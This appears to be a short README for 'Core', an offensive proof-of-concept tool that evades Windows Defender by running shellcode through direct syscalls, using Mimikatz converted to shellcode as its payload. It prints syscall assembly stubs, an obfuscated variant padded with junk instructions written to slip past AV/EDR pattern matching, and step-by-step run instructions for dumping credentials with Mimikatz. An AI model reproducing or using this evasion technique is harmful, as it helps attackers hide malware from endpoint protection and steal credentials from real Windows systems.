Core bypass Windows Defender and execute any binary converted to shellcode. Core is NOT using any mechanism to prevent AV/EDR from debug/inspect this code.
Core uses syscall to execute shellcode, any kind of shellcode, in this PoC Mimikatz is converted to shellcode (.exe version) Core is not calling any API but create memory mapped file and then calls the Nt or Zw functions.
This version uses a static pattern that represent the syscall, the next version create dynamics pattern that change with every call !
The inner soul of syscalls in 64bit:
mov r10,rcx
mov eax,0C1h
test byte ptr [SharedUserData+0x308 (00000000`7ffe0308)],1
jne ntdll!NtCreateThreadEx+0x15 (00007ffa`8c50e635)
syscall
ret
or maybe
mov r10, rcx
mov eax, 0xC1
syscall
ret
but why this syntax ? it too easy for AV/EDR reg.ex pattern matching engine to detect this, why not make more complex or foolish
mov BH, 0x5
mov BL, 0x6
cmp BH,BL
mov BH, 0x2
mov BL, 0x4
cmp BH,BL
mov BH, 0x7
mov BL, 0x8
cmp BH,BL
jne go
labelb:
sub rax, 0x3E8
jmp labelc
nop
labelc:
mov r10,rbx
mov r15, 0x64
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
sub r15, 0x1
mov BH, 0x3
mov BL, 0x2
cmp BH,BL
mov BH, 0x6
mov BL, 0x9
cmp BH,BL
mov BH, 0x9
mov BL, 0x3
cmp BH,BL
syscall
nop
nop
nop
ret
labela:
mov rax, 0x438
nop
jmp labelb
go:
nop
mov rbx, rcx
jmp labela
Start cmd.exe with argument coffee like this:
cmd coffee
then run core.exe
don't type your Mimikatz in the mimikatz # prompt, hit ENTER once and type Mimikatz commands.